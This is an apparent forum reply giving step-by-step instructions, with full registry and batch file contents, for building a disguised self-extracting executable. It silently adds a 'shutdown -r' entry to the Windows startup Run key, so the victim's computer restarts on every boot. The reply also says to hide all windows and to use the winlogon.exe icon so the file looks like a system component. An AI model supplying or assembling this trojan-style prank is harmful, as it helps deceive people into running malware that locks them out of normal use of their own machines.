This reply is really wired BUT works
U can make a batch file which merges an registery in the machine which (registry) contain the command "shutdown -r" and put them In startup
For silent merging U can use "REGEDIT /S shutdown.reg"
where shutdown.reg is the registery containing the "shutdown -r" command which is to be installed @ startup
Then make an RAR sfx executing the batch file
In the advance sfx option Select hide all windows
In the icon use the icon of "winlogon.exe" whic U can extract using resource hacker
All done!!
When anybody executer that sfx the extracts the batch file silenty
The batch file ads the registry entry which contains "shutdown -r" in the startup.
More details
The registery file contents "filename : shutdown.reg"
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"shutdown -r"="C:\\WINDOWS\\system32\\shutdown.exe -r"
The batch file contents "filename : batch.bat"
Code:
ECHO OFF
c:\windows\regedit /s shutdown.reg